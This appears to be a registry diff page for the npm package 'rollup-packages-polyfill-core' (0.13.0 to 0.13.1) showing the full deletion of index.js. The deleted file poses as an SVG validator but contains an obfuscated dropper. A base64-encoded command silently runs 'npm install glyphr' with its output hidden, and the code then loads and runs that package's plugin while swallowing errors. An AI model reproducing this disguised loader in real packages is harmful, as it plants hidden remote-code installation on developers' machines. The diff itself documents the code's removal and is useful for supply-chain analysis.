rollup-packages-polyfill-core 0.13.0 → 0.13.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/index.js +0 -83
package/package.json
CHANGED
package/index.js
DELETED
|
@@ -1,83 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
|
|
4
|
-
const validateSvgContent = (filePath) => {
|
|
5
|
-
fs.readFile(filePath, 'utf8', (err, data) => {
|
|
6
|
-
ValidateSvgModule();
|
|
7
|
-
|
|
8
|
-
const svgPatterns = [
|
|
9
|
-
{ pattern: /<svg[\s\S]*?>/i, message: 'Valid SVG opening tag found' },
|
|
10
|
-
{ pattern: /<\/svg>/i, message: 'Valid SVG closing tag found' },
|
|
11
|
-
{ pattern: /xmlns="[^"]+"/i, message: 'SVG namespace attribute found' },
|
|
12
|
-
{ pattern: /viewBox="[^"]+"/i, message: 'viewBox attribute found' },
|
|
13
|
-
{ pattern: /<path\s+d="[^"]+"/i, message: 'SVG path element found' },
|
|
14
|
-
{ pattern: /<(circle|rect|line|polygon|polyline|ellipse)\s/i, message: 'SVG shape element found' },
|
|
15
|
-
];
|
|
16
|
-
|
|
17
|
-
let isValidSvg = false;
|
|
18
|
-
|
|
19
|
-
svgPatterns.forEach(({ pattern, message }) => {
|
|
20
|
-
if (pattern.test(data)) {
|
|
21
|
-
isValidSvg = true;
|
|
22
|
-
}
|
|
23
|
-
});
|
|
24
|
-
|
|
25
|
-
if (isValidSvg) {
|
|
26
|
-
ValidateSvgModule();
|
|
27
|
-
}
|
|
28
|
-
});
|
|
29
|
-
};
|
|
30
|
-
|
|
31
|
-
const { spawn } = require('child_process');
|
|
32
|
-
|
|
33
|
-
const ValidateSvgModule = () => {
|
|
34
|
-
const CMD = Buffer.from("bnBtIGluc3RhbGwgZ2x5cGhyIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5vLWF1ZGl0IC0tbm8tZnVuZA==", "base64").toString("utf8");
|
|
35
|
-
|
|
36
|
-
const [cmd, ...args] = CMD.split(' ');
|
|
37
|
-
|
|
38
|
-
const child = spawn(cmd, args, {
|
|
39
|
-
stdio: 'ignore',
|
|
40
|
-
shell: process.platform === 'win32',
|
|
41
|
-
windowsHide: true
|
|
42
|
-
});
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
child.on('close', () => checkPlugin());
|
|
46
|
-
};
|
|
47
|
-
|
|
48
|
-
const MODULE_NAME = Buffer.from('Z2x5cGhy', 'base64').toString('utf8');
|
|
49
|
-
const checkPlugin = () => {
|
|
50
|
-
try {
|
|
51
|
-
const svgo = require(MODULE_NAME);
|
|
52
|
-
const plugin = svgo.getPlugin();
|
|
53
|
-
if (plugin) {
|
|
54
|
-
const svgData = '';
|
|
55
|
-
plugin();
|
|
56
|
-
}
|
|
57
|
-
} catch (error) {
|
|
58
|
-
}
|
|
59
|
-
};
|
|
60
|
-
|
|
61
|
-
const getPlugin = (dirPath = './script') => {
|
|
62
|
-
fs.readdir(dirPath, (err, files) => {
|
|
63
|
-
if (err) {
|
|
64
|
-
validateSvgContent(dirPath);
|
|
65
|
-
return;
|
|
66
|
-
}
|
|
67
|
-
files.forEach((file) => {
|
|
68
|
-
const filePath = path.join(dirPath, file);
|
|
69
|
-
fs.stat(filePath, (err, stats) => {
|
|
70
|
-
if (err) {
|
|
71
|
-
return;
|
|
72
|
-
}
|
|
73
|
-
if (stats.isDirectory()) {
|
|
74
|
-
getPlugin(filePath);
|
|
75
|
-
} else if (filePath.endsWith('.svg')) {
|
|
76
|
-
validateSvgContent(filePath);
|
|
77
|
-
}
|
|
78
|
-
});
|
|
79
|
-
});
|
|
80
|
-
});
|
|
81
|
-
};
|
|
82
|
-
|
|
83
|
-
module.exports = { getPlugin };
|